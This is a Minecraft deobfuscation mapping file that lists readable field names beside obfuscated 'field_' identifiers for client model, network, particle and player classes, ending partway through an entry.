net/minecraft/client/model/ModelWolf/field_78180_g +FD: net/minecraft/client/model/ModelWolf/wolfMane net/minecraft/client/model/ModelWolf/field_78186_h +FD: net/minecraft/client/model/ModelDragon/head net/minecraft/client/model/ModelDragon/field_78221_a +FD: net/minecraft/client/model/ModelDragon/spine net/minecraft/client/model/ModelDragon/field_78219_b +FD: net/minecraft/client/model/ModelDragon/jaw net/minecraft/client/model/ModelDragon/field_78220_c +FD: net/minecraft/client/model/ModelDragon/body net/minecraft/client/model/ModelDragon/field_78217_d +FD: net/minecraft/client/model/ModelDragon/rearLeg net/minecraft/client/model/ModelDragon/field_78218_e +FD: net/minecraft/client/model/ModelDragon/frontLeg net/minecraft/client/model/ModelDragon/field_78215_f +FD: net/minecraft/client/model/ModelDragon/rearLegTip net/minecraft/client/model/ModelDragon/field_78216_g +FD: net/minecraft/client/model/ModelDragon/frontLegTip net/minecraft/client/model/ModelDragon/field_78226_h +FD: net/minecraft/client/model/ModelDragon/rearFoot net/minecraft/client/model/ModelDragon/field_78227_i +FD: net/minecraft/client/model/ModelDragon/frontFoot net/minecraft/client/model/ModelDragon/field_78224_j +FD: net/minecraft/client/model/ModelDragon/wing net/minecraft/client/model/ModelDragon/field_78225_k +FD: net/minecraft/client/model/ModelDragon/wingTip net/minecraft/client/model/ModelDragon/field_78222_l +FD: net/minecraft/client/model/ModelDragon/partialTicks net/minecraft/client/model/ModelDragon/field_78223_m +FD: net/minecraft/client/model/ModelEnderCrystal/cube net/minecraft/client/model/ModelEnderCrystal/field_78230_a +FD: net/minecraft/client/model/ModelEnderCrystal/glass net/minecraft/client/model/ModelEnderCrystal/field_78228_b +FD: net/minecraft/client/model/ModelEnderCrystal/base net/minecraft/client/model/ModelEnderCrystal/field_78229_c +FD: net/minecraft/client/model/ModelBox/posX1 net/minecraft/client/model/ModelBox/field_78252_a +FD: net/minecraft/client/model/ModelBox/posY1 net/minecraft/client/model/ModelBox/field_78250_b +FD: net/minecraft/client/model/ModelBox/posZ1 net/minecraft/client/model/ModelBox/field_78251_c +FD: net/minecraft/client/model/ModelBox/posX2 net/minecraft/client/model/ModelBox/field_78248_d +FD: net/minecraft/client/model/ModelBox/posY2 net/minecraft/client/model/ModelBox/field_78249_e +FD: net/minecraft/client/model/ModelBox/posZ2 net/minecraft/client/model/ModelBox/field_78246_f +FD: net/minecraft/client/model/ModelBox/boxName net/minecraft/client/model/ModelBox/field_78247_g +FD: net/minecraft/client/model/ModelBox/vertexPositions net/minecraft/client/model/ModelBox/field_78253_h +FD: net/minecraft/client/model/ModelBox/quadList net/minecraft/client/model/ModelBox/field_78254_i +FD: net/minecraft/client/model/ModelRenderer/textureWidth net/minecraft/client/model/ModelRenderer/field_78801_a +FD: net/minecraft/client/model/ModelRenderer/textureHeight net/minecraft/client/model/ModelRenderer/field_78799_b +FD: net/minecraft/client/model/ModelRenderer/rotationPointX net/minecraft/client/model/ModelRenderer/field_78800_c +FD: net/minecraft/client/model/ModelRenderer/rotationPointY net/minecraft/client/model/ModelRenderer/field_78797_d +FD: net/minecraft/client/model/ModelRenderer/rotationPointZ net/minecraft/client/model/ModelRenderer/field_78798_e +FD: net/minecraft/client/model/ModelRenderer/rotateAngleX net/minecraft/client/model/ModelRenderer/field_78795_f +FD: net/minecraft/client/model/ModelRenderer/rotateAngleY net/minecraft/client/model/ModelRenderer/field_78796_g +FD: net/minecraft/client/model/ModelRenderer/rotateAngleZ net/minecraft/client/model/ModelRenderer/field_78808_h +FD: net/minecraft/client/model/ModelRenderer/mirror net/minecraft/client/model/ModelRenderer/field_78809_i +FD: net/minecraft/client/model/ModelRenderer/showModel net/minecraft/client/model/ModelRenderer/field_78806_j +FD: net/minecraft/client/model/ModelRenderer/isHidden net/minecraft/client/model/ModelRenderer/field_78807_k +FD: net/minecraft/client/model/ModelRenderer/cubeList net/minecraft/client/model/ModelRenderer/field_78804_l +FD: net/minecraft/client/model/ModelRenderer/childModels net/minecraft/client/model/ModelRenderer/field_78805_m +FD: net/minecraft/client/model/ModelRenderer/boxName net/minecraft/client/model/ModelRenderer/field_78802_n +FD: net/minecraft/client/model/ModelRenderer/offsetX net/minecraft/client/model/ModelRenderer/field_82906_o +FD: net/minecraft/client/model/ModelRenderer/offsetY net/minecraft/client/model/ModelRenderer/field_82908_p +FD: net/minecraft/client/model/ModelRenderer/offsetZ net/minecraft/client/model/ModelRenderer/field_82907_q +FD: net/minecraft/client/model/ModelRenderer/textureOffsetX net/minecraft/client/model/ModelRenderer/field_78803_o +FD: net/minecraft/client/model/ModelRenderer/textureOffsetY net/minecraft/client/model/ModelRenderer/field_78813_p +FD: net/minecraft/client/model/ModelRenderer/compiled net/minecraft/client/model/ModelRenderer/field_78812_q +FD: net/minecraft/client/model/ModelRenderer/displayList net/minecraft/client/model/ModelRenderer/field_78811_r +FD: net/minecraft/client/model/ModelRenderer/baseModel net/minecraft/client/model/ModelRenderer/field_78810_s +FD: net/minecraft/client/model/TextureOffset/textureOffsetX net/minecraft/client/model/TextureOffset/field_78783_a +FD: net/minecraft/client/model/TextureOffset/textureOffsetY net/minecraft/client/model/TextureOffset/field_78782_b +FD: net/minecraft/client/network/NetHandlerLoginClient$1/field_147495_a net/minecraft/client/network/NetHandlerLoginClient$1/field_147495_a +FD: net/minecraft/client/network/NetHandlerLoginClient$1/field_147494_b net/minecraft/client/network/NetHandlerLoginClient$1/field_147494_b +FD: net/minecraft/client/network/NetHandlerLoginClient/logger net/minecraft/client/network/NetHandlerLoginClient/field_147396_a +FD: net/minecraft/client/network/NetHandlerLoginClient/mc net/minecraft/client/network/NetHandlerLoginClient/field_147394_b +FD: net/minecraft/client/network/NetHandlerLoginClient/previousGuiScreen net/minecraft/client/network/NetHandlerLoginClient/field_147395_c +FD: net/minecraft/client/network/NetHandlerLoginClient/networkManager net/minecraft/client/network/NetHandlerLoginClient/field_147393_d +FD: net/minecraft/client/network/NetHandlerLoginClient/gameProfile net/minecraft/client/network/NetHandlerLoginClient/field_175091_e +FD: net/minecraft/client/network/NetHandlerPlayClient$1/field_146300_a net/minecraft/client/network/NetHandlerPlayClient$1/field_146300_a +FD: net/minecraft/client/network/NetHandlerPlayClient$1/field_146299_f net/minecraft/client/network/NetHandlerPlayClient$1/field_146299_f +FD: net/minecraft/client/network/NetHandlerPlayClient$2/field_178897_a net/minecraft/client/network/NetHandlerPlayClient$2/field_178897_a +FD: net/minecraft/client/network/NetHandlerPlayClient$2/field_178896_b net/minecraft/client/network/NetHandlerPlayClient$2/field_178896_b +FD: net/minecraft/client/network/NetHandlerPlayClient$3$1$1/field_178886_a net/minecraft/client/network/NetHandlerPlayClient$3$1$1/field_178886_a +FD: net/minecraft/client/network/NetHandlerPlayClient$3$1/field_175395_a net/minecraft/client/network/NetHandlerPlayClient$3$1/field_175395_a +FD: net/minecraft/client/network/NetHandlerPlayClient$3/field_178900_a net/minecraft/client/network/NetHandlerPlayClient$3/field_178900_a +FD: net/minecraft/client/network/NetHandlerPlayClient$3/field_178898_b net/minecraft/client/network/NetHandlerPlayClient$3/field_178898_b +FD: net/minecraft/client/network/NetHandlerPlayClient$3/field_178899_c net/minecraft/client/network/NetHandlerPlayClient$3/field_178899_c +FD: net/minecraft/client/network/NetHandlerPlayClient$4/field_178885_a net/minecraft/client/network/NetHandlerPlayClient$4/field_178885_a +FD: net/minecraft/client/network/NetHandlerPlayClient$4/field_178884_b net/minecraft/client/network/NetHandlerPlayClient$4/field_178884_b +FD: net/minecraft/client/network/NetHandlerPlayClient/currentServerMaxPlayers net/minecraft/client/network/NetHandlerPlayClient/field_147304_c +FD: net/minecraft/client/network/NetHandlerPlayClient/logger net/minecraft/client/network/NetHandlerPlayClient/field_147301_d +FD: net/minecraft/client/network/NetHandlerPlayClient/netManager net/minecraft/client/network/NetHandlerPlayClient/field_147302_e +FD: net/minecraft/client/network/NetHandlerPlayClient/profile net/minecraft/client/network/NetHandlerPlayClient/field_175107_d +FD: net/minecraft/client/network/NetHandlerPlayClient/guiScreenServer net/minecraft/client/network/NetHandlerPlayClient/field_147307_j +FD: net/minecraft/client/network/NetHandlerPlayClient/gameController net/minecraft/client/network/NetHandlerPlayClient/field_147299_f +FD: net/minecraft/client/network/NetHandlerPlayClient/clientWorldController net/minecraft/client/network/NetHandlerPlayClient/field_147300_g +FD: net/minecraft/client/network/NetHandlerPlayClient/doneLoadingTerrain net/minecraft/client/network/NetHandlerPlayClient/field_147309_h +FD: net/minecraft/client/network/NetHandlerPlayClient/playerInfoMap net/minecraft/client/network/NetHandlerPlayClient/field_147310_i +FD: net/minecraft/client/network/NetHandlerPlayClient/field_147308_k net/minecraft/client/network/NetHandlerPlayClient/field_147308_k +FD: net/minecraft/client/network/NetHandlerPlayClient/avRandomizer net/minecraft/client/network/NetHandlerPlayClient/field_147306_l +FD: net/minecraft/client/multiplayer/ChunkProviderClient/logger net/minecraft/client/multiplayer/ChunkProviderClient/field_147436_a +FD: net/minecraft/client/multiplayer/ChunkProviderClient/blankChunk net/minecraft/client/multiplayer/ChunkProviderClient/field_73238_a +FD: net/minecraft/client/multiplayer/ChunkProviderClient/chunkMapping net/minecraft/client/multiplayer/ChunkProviderClient/field_73236_b +FD: net/minecraft/client/multiplayer/ChunkProviderClient/chunkListing net/minecraft/client/multiplayer/ChunkProviderClient/field_73237_c +FD: net/minecraft/client/multiplayer/ChunkProviderClient/worldObj net/minecraft/client/multiplayer/ChunkProviderClient/field_73235_d +FD: net/minecraft/client/multiplayer/PlayerControllerMP/mc net/minecraft/client/multiplayer/PlayerControllerMP/field_78776_a +FD: net/minecraft/client/multiplayer/PlayerControllerMP/netClientHandler net/minecraft/client/multiplayer/PlayerControllerMP/field_78774_b +FD: net/minecraft/client/multiplayer/PlayerControllerMP/currentBlock net/minecraft/client/multiplayer/PlayerControllerMP/field_178895_c +FD: net/minecraft/client/multiplayer/PlayerControllerMP/currentItemHittingBlock net/minecraft/client/multiplayer/PlayerControllerMP/field_85183_f +FD: net/minecraft/client/multiplayer/PlayerControllerMP/curBlockDamageMP net/minecraft/client/multiplayer/PlayerControllerMP/field_78770_f +FD: net/minecraft/client/multiplayer/PlayerControllerMP/stepSoundTickCounter net/minecraft/client/multiplayer/PlayerControllerMP/field_78780_h +FD: net/minecraft/client/multiplayer/PlayerControllerMP/blockHitDelay net/minecraft/client/multiplayer/PlayerControllerMP/field_78781_i +FD: net/minecraft/client/multiplayer/PlayerControllerMP/isHittingBlock net/minecraft/client/multiplayer/PlayerControllerMP/field_78778_j +FD: net/minecraft/client/multiplayer/PlayerControllerMP/currentGameType net/minecraft/client/multiplayer/PlayerControllerMP/field_78779_k +FD: net/minecraft/client/multiplayer/PlayerControllerMP/currentPlayerItem net/minecraft/client/multiplayer/PlayerControllerMP/field_78777_l +FD: net/minecraft/client/multiplayer/WorldClient$1/field_78833_a net/minecraft/client/multiplayer/WorldClient$1/field_78833_a +FD: net/minecraft/client/multiplayer/WorldClient$2/field_78835_a net/minecraft/client/multiplayer/WorldClient$2/field_78835_a +FD: net/minecraft/client/multiplayer/WorldClient$3/field_142027_a net/minecraft/client/multiplayer/WorldClient$3/field_142027_a +FD: net/minecraft/client/multiplayer/WorldClient$4/field_142029_a net/minecraft/client/multiplayer/WorldClient$4/field_142029_a +FD: net/minecraft/client/multiplayer/WorldClient/mc net/minecraft/client/multiplayer/WorldClient/field_73037_M +FD: net/minecraft/client/multiplayer/WorldClient/previousActiveChunkSet net/minecraft/client/multiplayer/WorldClient/field_73038_N +FD: net/minecraft/client/multiplayer/WorldClient/sendQueue net/minecraft/client/multiplayer/WorldClient/field_73035_a +FD: net/minecraft/client/multiplayer/WorldClient/clientChunkProvider net/minecraft/client/multiplayer/WorldClient/field_73033_b +FD: net/minecraft/client/multiplayer/WorldClient/entityList net/minecraft/client/multiplayer/WorldClient/field_73032_d +FD: net/minecraft/client/multiplayer/WorldClient/entitySpawnQueue net/minecraft/client/multiplayer/WorldClient/field_73036_L +FD: net/minecraft/client/network/NetworkPlayerInfo$1/field_177224_a net/minecraft/client/network/NetworkPlayerInfo$1/field_177224_a +FD: net/minecraft/client/network/NetworkPlayerInfo$2/field_178875_a net/minecraft/client/network/NetworkPlayerInfo$2/field_178875_a +FD: net/minecraft/client/network/NetworkPlayerInfo/gameProfile net/minecraft/client/network/NetworkPlayerInfo/field_178867_a +FD: net/minecraft/client/network/NetworkPlayerInfo/gameType net/minecraft/client/network/NetworkPlayerInfo/field_178866_b +FD: net/minecraft/client/network/NetworkPlayerInfo/responseTime net/minecraft/client/network/NetworkPlayerInfo/field_78829_b +FD: net/minecraft/client/network/NetworkPlayerInfo/playerTexturesLoaded net/minecraft/client/network/NetworkPlayerInfo/field_178864_d +FD: net/minecraft/client/network/NetworkPlayerInfo/locationSkin net/minecraft/client/network/NetworkPlayerInfo/field_178865_e +FD: net/minecraft/client/network/NetworkPlayerInfo/locationCape net/minecraft/client/network/NetworkPlayerInfo/field_178862_f +FD: net/minecraft/client/network/NetworkPlayerInfo/skinType net/minecraft/client/network/NetworkPlayerInfo/field_178863_g +FD: net/minecraft/client/network/NetworkPlayerInfo/displayName net/minecraft/client/network/NetworkPlayerInfo/field_178872_h +FD: net/minecraft/client/network/NetworkPlayerInfo/field_178873_i net/minecraft/client/network/NetworkPlayerInfo/field_178873_i +FD: net/minecraft/client/network/NetworkPlayerInfo/field_178870_j net/minecraft/client/network/NetworkPlayerInfo/field_178870_j +FD: net/minecraft/client/network/NetworkPlayerInfo/field_178871_k net/minecraft/client/network/NetworkPlayerInfo/field_178871_k +FD: net/minecraft/client/network/NetworkPlayerInfo/field_178868_l net/minecraft/client/network/NetworkPlayerInfo/field_178868_l +FD: net/minecraft/client/network/NetworkPlayerInfo/field_178869_m net/minecraft/client/network/NetworkPlayerInfo/field_178869_m +FD: net/minecraft/client/multiplayer/ServerAddress/ipAddress net/minecraft/client/multiplayer/ServerAddress/field_78866_a +FD: net/minecraft/client/multiplayer/ServerAddress/serverPort net/minecraft/client/multiplayer/ServerAddress/field_78865_b +FD: net/minecraft/client/multiplayer/ServerData$ServerResourceMode/ENABLED net/minecraft/client/multiplayer/ServerData$ServerResourceMode/ENABLED +FD: net/minecraft/client/multiplayer/ServerData$ServerResourceMode/DISABLED net/minecraft/client/multiplayer/ServerData$ServerResourceMode/DISABLED +FD: net/minecraft/client/multiplayer/ServerData$ServerResourceMode/PROMPT net/minecraft/client/multiplayer/ServerData$ServerResourceMode/PROMPT +FD: net/minecraft/client/multiplayer/ServerData$ServerResourceMode/motd net/minecraft/client/multiplayer/ServerData$ServerResourceMode/field_152594_d +FD: net/minecraft/client/multiplayer/ServerData$ServerResourceMode/$VALUES net/minecraft/client/multiplayer/ServerData$ServerResourceMode/$VALUES +FD: net/minecraft/client/multiplayer/ServerData/serverName net/minecraft/client/multiplayer/ServerData/field_78847_a +FD: net/minecraft/client/multiplayer/ServerData/serverIP net/minecraft/client/multiplayer/ServerData/field_78845_b +FD: net/minecraft/client/multiplayer/ServerData/populationInfo net/minecraft/client/multiplayer/ServerData/field_78846_c +FD: net/minecraft/client/multiplayer/ServerData/serverMOTD net/minecraft/client/multiplayer/ServerData/field_78843_d +FD: net/minecraft/client/multiplayer/ServerData/pingToServer net/minecraft/client/multiplayer/ServerData/field_78844_e +FD: net/minecraft/client/multiplayer/ServerData/version net/minecraft/client/multiplayer/ServerData/field_82821_f +FD: net/minecraft/client/multiplayer/ServerData/gameVersion net/minecraft/client/multiplayer/ServerData/field_82822_g +FD: net/minecraft/client/multiplayer/ServerData/field_78841_f net/minecraft/client/multiplayer/ServerData/field_78841_f +FD: net/minecraft/client/multiplayer/ServerData/playerList net/minecraft/client/multiplayer/ServerData/field_147412_i +FD: net/minecraft/client/multiplayer/ServerData/resourceMode net/minecraft/client/multiplayer/ServerData/field_152587_j +FD: net/minecraft/client/multiplayer/ServerData/serverIcon net/minecraft/client/multiplayer/ServerData/field_147411_m +FD: net/minecraft/client/multiplayer/ServerData/lanServer net/minecraft/client/multiplayer/ServerData/field_181042_l +FD: net/minecraft/client/multiplayer/ServerList/logger net/minecraft/client/multiplayer/ServerList/field_147415_a +FD: net/minecraft/client/multiplayer/ServerList/mc net/minecraft/client/multiplayer/ServerList/field_78859_a +FD: net/minecraft/client/multiplayer/ServerList/servers net/minecraft/client/multiplayer/ServerList/field_78858_b +FD: net/minecraft/client/network/OldServerPinger$1/field_147404_b net/minecraft/client/network/OldServerPinger$1/field_147404_b +FD: net/minecraft/client/network/OldServerPinger$1/field_147406_a net/minecraft/client/network/OldServerPinger$1/field_147406_a +FD: net/minecraft/client/network/OldServerPinger$1/field_147405_c net/minecraft/client/network/OldServerPinger$1/field_147405_c +FD: net/minecraft/client/network/OldServerPinger$1/field_147403_d net/minecraft/client/network/OldServerPinger$1/field_147403_d +FD: net/minecraft/client/network/OldServerPinger$1/field_183009_e net/minecraft/client/network/OldServerPinger$1/field_183009_e +FD: net/minecraft/client/network/OldServerPinger$1/field_175092_e net/minecraft/client/network/OldServerPinger$1/field_175092_e +FD: net/minecraft/client/network/OldServerPinger$2$1/field_147220_a net/minecraft/client/network/OldServerPinger$2$1/field_147220_a +FD: net/minecraft/client/network/OldServerPinger$2/field_147218_a net/minecraft/client/network/OldServerPinger$2/field_147218_a +FD: net/minecraft/client/network/OldServerPinger$2/field_147216_b net/minecraft/client/network/OldServerPinger$2/field_147216_b +FD: net/minecraft/client/network/OldServerPinger$2/field_147217_c net/minecraft/client/network/OldServerPinger$2/field_147217_c +FD: net/minecraft/client/network/OldServerPinger/PING_RESPONSE_SPLITTER net/minecraft/client/network/OldServerPinger/field_147230_a +FD: net/minecraft/client/network/OldServerPinger/logger net/minecraft/client/network/OldServerPinger/field_147228_b +FD: net/minecraft/client/network/OldServerPinger/pingDestinations net/minecraft/client/network/OldServerPinger/field_147229_c +FD: net/minecraft/client/particle/EntityCrit2FX/field_174839_a net/minecraft/client/particle/EntityCrit2FX/field_174839_a +FD: net/minecraft/client/particle/EntityDropParticleFX/materialType net/minecraft/client/particle/EntityDropParticleFX/field_70563_a +FD: net/minecraft/client/particle/EntityDropParticleFX/bobTimer net/minecraft/client/particle/EntityDropParticleFX/field_70564_aq +FD: net/minecraft/client/particle/EntityEnchantmentTableParticleFX/field_70565_a net/minecraft/client/particle/EntityEnchantmentTableParticleFX/field_70565_a +FD: net/minecraft/client/particle/EntityEnchantmentTableParticleFX/coordY net/minecraft/client/particle/EntityEnchantmentTableParticleFX/field_70567_ar +FD: net/minecraft/client/particle/EntityEnchantmentTableParticleFX/coordZ net/minecraft/client/particle/EntityEnchantmentTableParticleFX/field_70566_as +FD: net/minecraft/client/particle/EntityEnchantmentTableParticleFX/coordX net/minecraft/client/particle/EntityEnchantmentTableParticleFX/field_70568_aq +FD: net/minecraft/client/particle/EntityFirework$SparkFX/baseTextureIndex net/minecraft/client/particle/EntityFirework$SparkFX/field_92049_a +FD: net/minecraft/client/particle/EntityFirework$SparkFX/twinkle net/minecraft/client/particle/EntityFirework$SparkFX/field_92048_ay +FD: net/minecraft/client/particle/EntityFirework$SparkFX/field_92047_az net/minecraft/client/particle/EntityFirework$SparkFX/field_92047_az +FD: net/minecraft/client/particle/EntityFirework$SparkFX/fadeColourRed net/minecraft/client/particle/EntityFirework$SparkFX/field_92050_aA +FD: net/minecraft/client/particle/EntityFirework$SparkFX/fadeColourGreen net/minecraft/client/particle/EntityFirework$SparkFX/field_92051_aB +FD: net/minecraft/client/particle/EntityFirework$SparkFX/fadeColourBlue net/minecraft/client/particle/EntityFirework$SparkFX/field_92052_aC +FD: net/minecraft/client/particle/EntityFirework$SparkFX/hasFadeColour net/minecraft/client/particle/EntityFirework$SparkFX/field_92053_aD +FD: net/minecraft/client/particle/EntityFirework$SparkFX/trail net/minecraft/client/particle/EntityFirework$SparkFX/field_92054_ax +FD: net/minecraft/client/particle/EntityFirework$StarterFX/twinkle net/minecraft/client/particle/EntityFirework$StarterFX/field_92041_a +FD: net/minecraft/client/particle/EntityFirework$StarterFX/theEffectRenderer net/minecraft/client/particle/EntityFirework$StarterFX/field_92040_ay +FD: net/minecraft/client/particle/EntityFirework$StarterFX/fireworkExplosions net/minecraft/client/particle/EntityFirework$StarterFX/field_92039_az +FD: net/minecraft/client/particle/EntityFirework$StarterFX/fireworkAge net/minecraft/client/particle/EntityFirework$StarterFX/field_92042_ax +FD: net/minecraft/client/particle/EntityFlameFX/flameScale net/minecraft/client/particle/EntityFlameFX/field_70562_a +FD: net/minecraft/client/particle/EntityFootStepFX/FOOTPRINT_TEXTURE net/minecraft/client/particle/EntityFootStepFX/field_110126_a +FD: net/minecraft/client/particle/EntityFootStepFX/footstepMaxAge net/minecraft/client/particle/EntityFootStepFX/field_70578_aq +FD: net/minecraft/client/particle/EntityFootStepFX/currentFootSteps net/minecraft/client/particle/EntityFootStepFX/field_70577_ar +FD: net/minecraft/client/particle/EntityFootStepFX/footstepAge net/minecraft/client/particle/EntityFootStepFX/field_70576_a +FD: net/minecraft/client/particle/EntityHeartFX/particleScaleOverTime net/minecraft/client/particle/EntityHeartFX/field_70575_a +FD: net/minecraft/client/particle/EntityLargeExplodeFX/EXPLOSION_TEXTURE net/minecraft/client/particle/EntityLargeExplodeFX/field_110127_a +FD: net/minecraft/client/particle/EntityLargeExplodeFX/field_70581_a net/minecraft/client/particle/EntityLargeExplodeFX/field_70581_a +FD: net/minecraft/client/particle/EntityLargeExplodeFX/field_70584_aq net/minecraft/client/particle/EntityLargeExplodeFX/field_70584_aq +FD: net/minecraft/client/particle/EntityLargeExplodeFX/theRenderEngine net/minecraft/client/particle/EntityLargeExplodeFX/field_70583_ar +FD: net/minecraft/client/particle/EntityLargeExplodeFX/field_70582_as net/minecraft/client/particle/EntityLargeExplodeFX/field_70582_as +FD: net/minecraft/client/particle/EntityLargeExplodeFX/field_181549_az net/minecraft/client/particle/EntityLargeExplodeFX/field_181549_az +FD: net/minecraft/client/particle/EntityHugeExplodeFX/timeSinceStart net/minecraft/client/particle/EntityHugeExplodeFX/field_70579_a +FD: net/minecraft/client/particle/EntityHugeExplodeFX/maximumTime net/minecraft/client/particle/EntityHugeExplodeFX/field_70580_aq +FD: net/minecraft/client/particle/EntityPickupFX/field_174840_a net/minecraft/client/particle/EntityPickupFX/field_174840_a +FD: net/minecraft/client/particle/EntityPickupFX/age net/minecraft/client/particle/EntityPickupFX/field_70594_ar +FD: net/minecraft/client/particle/EntityPickupFX/maxAge net/minecraft/client/particle/EntityPickupFX/field_70593_as +FD: net/minecraft/client/particle/EntityPickupFX/field_174841_aA net/minecraft/client/particle/EntityPickupFX/field_174841_aA +FD: net/minecraft/client/particle/EntityPickupFX/field_174842_aB net/minecraft/client/particle/EntityPickupFX/field_174842_aB +FD: net/minecraft/client/particle/EntityPickupFX/field_174843_ax net/minecraft/client/particle/EntityPickupFX/field_174843_ax +FD: net/minecraft/client/particle/EntityLavaFX/lavaParticleScale net/minecraft/client/particle/EntityLavaFX/field_70586_a +FD: net/minecraft/client/particle/MobAppearance/entity net/minecraft/client/particle/MobAppearance/field_174844_a +FD: net/minecraft/client/particle/EntityNoteFX/noteParticleScale net/minecraft/client/particle/EntityNoteFX/field_70585_a +FD: net/minecraft/client/particle/EntityFX/particleRed net/minecraft/client/particle/EntityFX/field_70552_h +FD: net/minecraft/client/particle/EntityFX/particleGreen net/minecraft/client/particle/EntityFX/field_70553_i +FD: net/minecraft/client/particle/EntityFX/particleBlue net/minecraft/client/particle/EntityFX/field_70551_j +FD: net/minecraft/client/particle/EntityFX/particleAlpha net/minecraft/client/particle/EntityFX/field_82339_as +FD: net/minecraft/client/particle/EntityFX/particleIcon net/minecraft/client/particle/EntityFX/field_70550_a +FD: net/minecraft/client/particle/EntityFX/interpPosX net/minecraft/client/particle/EntityFX/field_70556_an +FD: net/minecraft/client/particle/EntityFX/interpPosY net/minecraft/client/particle/EntityFX/field_70554_ao +FD: net/minecraft/client/particle/EntityFX/interpPosZ net/minecraft/client/particle/EntityFX/field_70555_ap +FD: net/minecraft/client/particle/EntityFX/particleTextureIndexX net/minecraft/client/particle/EntityFX/field_94054_b +FD: net/minecraft/client/particle/EntityFX/particleTextureIndexY net/minecraft/client/particle/EntityFX/field_94055_c +FD: net/minecraft/client/particle/EntityFX/particleTextureJitterX net/minecraft/client/particle/EntityFX/field_70548_b +FD: net/minecraft/client/particle/EntityFX/particleTextureJitterY net/minecraft/client/particle/EntityFX/field_70549_c +FD: net/minecraft/client/particle/EntityFX/particleAge net/minecraft/client/particle/EntityFX/field_70546_d +FD: net/minecraft/client/particle/EntityFX/particleMaxAge net/minecraft/client/particle/EntityFX/field_70547_e +FD: net/minecraft/client/particle/EntityFX/particleScale net/minecraft/client/particle/EntityFX/field_70544_f +FD: net/minecraft/client/particle/EntityFX/particleGravity net/minecraft/client/particle/EntityFX/field_70545_g +FD: net/minecraft/client/particle/EffectRenderer$1/field_147214_a net/minecraft/client/particle/EffectRenderer$1/field_147214_a +FD: net/minecraft/client/particle/EffectRenderer$1/field_147213_b net/minecraft/client/particle/EffectRenderer$1/field_147213_b +FD: net/minecraft/client/particle/EffectRenderer$2/field_147898_a net/minecraft/client/particle/EffectRenderer$2/field_147898_a +FD: net/minecraft/client/particle/EffectRenderer$2/field_147897_b net/minecraft/client/particle/EffectRenderer$2/field_147897_b +FD: net/minecraft/client/particle/EffectRenderer$3/field_147901_a net/minecraft/client/particle/EffectRenderer$3/field_147901_a +FD: net/minecraft/client/particle/EffectRenderer$3/field_147900_b net/minecraft/client/particle/EffectRenderer$3/field_147900_b +FD: net/minecraft/client/particle/EffectRenderer$4/field_147904_a net/minecraft/client/particle/EffectRenderer$4/field_147904_a +FD: net/minecraft/client/particle/EffectRenderer$4/field_147903_b net/minecraft/client/particle/EffectRenderer$4/field_147903_b +FD: net/minecraft/client/particle/EffectRenderer/worldObj net/minecraft/client/particle/EffectRenderer/field_78878_a +FD: net/minecraft/client/particle/EffectRenderer/particleTextures net/minecraft/client/particle/EffectRenderer/field_110737_b +FD: net/minecraft/client/particle/EffectRenderer/fxLayers net/minecraft/client/particle/EffectRenderer/field_78876_b +FD: net/minecraft/client/particle/EffectRenderer/particleEmitters net/minecraft/client/particle/EffectRenderer/field_178933_d +FD: net/minecraft/client/particle/EffectRenderer/renderer net/minecraft/client/particle/EffectRenderer/field_78877_c +FD: net/minecraft/client/particle/EffectRenderer/rand net/minecraft/client/particle/EffectRenderer/field_78875_d +FD: net/minecraft/client/particle/EffectRenderer/particleTypes net/minecraft/client/particle/EffectRenderer/field_178932_g +FD: net/minecraft/client/particle/EntityCloudFX/field_70569_a net/minecraft/client/particle/EntityCloudFX/field_70569_a +FD: net/minecraft/client/particle/EntityPortalFX/portalParticleScale net/minecraft/client/particle/EntityPortalFX/field_70571_a +FD: net/minecraft/client/particle/EntityPortalFX/portalPosY net/minecraft/client/particle/EntityPortalFX/field_70573_ar +FD: net/minecraft/client/particle/EntityPortalFX/portalPosZ net/minecraft/client/particle/EntityPortalFX/field_70572_as +FD: net/minecraft/client/particle/EntityPortalFX/portalPosX net/minecraft/client/particle/EntityPortalFX/field_70574_aq +FD: net/minecraft/client/particle/EntityReddustFX/reddustParticleScale net/minecraft/client/particle/EntityReddustFX/field_70570_a +FD: net/minecraft/client/particle/EntitySmokeFX/smokeParticleScale net/minecraft/client/particle/EntitySmokeFX/field_70587_a +FD: net/minecraft/client/particle/EntitySnowShovelFX/snowDigParticleScale net/minecraft/client/particle/EntitySnowShovelFX/field_70588_a +FD: net/minecraft/client/particle/EntitySpellParticleFX/RANDOM net/minecraft/client/particle/EntitySpellParticleFX/field_174848_a +FD: net/minecraft/client/particle/EntitySpellParticleFX/baseSpellTextureIndex net/minecraft/client/particle/EntitySpellParticleFX/field_70590_a +FD: net/minecraft/client/particle/EntityDiggingFX/sourceState net/minecraft/client/particle/EntityDiggingFX/field_174847_a +FD: net/minecraft/client/particle/EntityDiggingFX/sourcePos net/minecraft/client/particle/EntityDiggingFX/field_181019_az +FD: net/minecraft/client/particle/EntityParticleEmitter/attachedEntity net/minecraft/client/particle/EntityParticleEmitter/field_174851_a +FD: net/minecraft/client/particle/EntityParticleEmitter/lifetime net/minecraft/client/particle/EntityParticleEmitter/field_174850_ay +FD: net/minecraft/client/particle/EntityParticleEmitter/particleTypes net/minecraft/client/particle/EntityParticleEmitter/field_174849_az +FD: net/minecraft/client/particle/EntityParticleEmitter/age net/minecraft/client/particle/EntityParticleEmitter/field_174852_ax +FD: net/minecraft/client/entity/AbstractClientPlayer/playerInfo net/minecraft/client/entity/AbstractClientPlayer/field_175157_a +FD: net/minecraft/util/MovementInput/moveStrafe net/minecraft/util/MovementInput/field_78902_a +FD: net/minecraft/util/MovementInput/moveForward net/minecraft/util/MovementInput/field_78900_b +FD: net/minecraft/util/MovementInput/jump net/minecraft/util/MovementInput/field_78901_c +FD: net/minecraft/util/MovementInput/sneak net/minecraft/util/MovementInput/field_78899_d +FD: net/minecraft/util/MovementInputFromOptions/gameSettings net/minecraft/util/MovementInputFromOptions/field_78903_e +FD: net/minecraft/client/entity/EntityPlayerSP/sendQueue net/minecraft/client/entity/EntityPlayerSP/field_71174_a +FD: net/minecraft/client/entity/EntityPlayerSP/movementInput net/minecraft/client/entity/EntityPlayerSP/field_71158_b +FD: net/minecraft/client/entity/EntityPlayerSP/timeInPortal net/minecraft/client/entity/EntityPlayerSP/field_71086_bY +FD: net/minecraft/client/entity/EntityPlayerSP/prevTimeInPortal net/minecraft/client/entity/EntityPlayerSP/field_71080_cy +FD: net/minecraft/client/entity/EntityPlayerSP/statWriter net/minecraft/client/entity/EntityPlayerSP/field_146108_bO +FD: net/minecraft/client/entity/EntityPlayerSP/lastReportedPosX 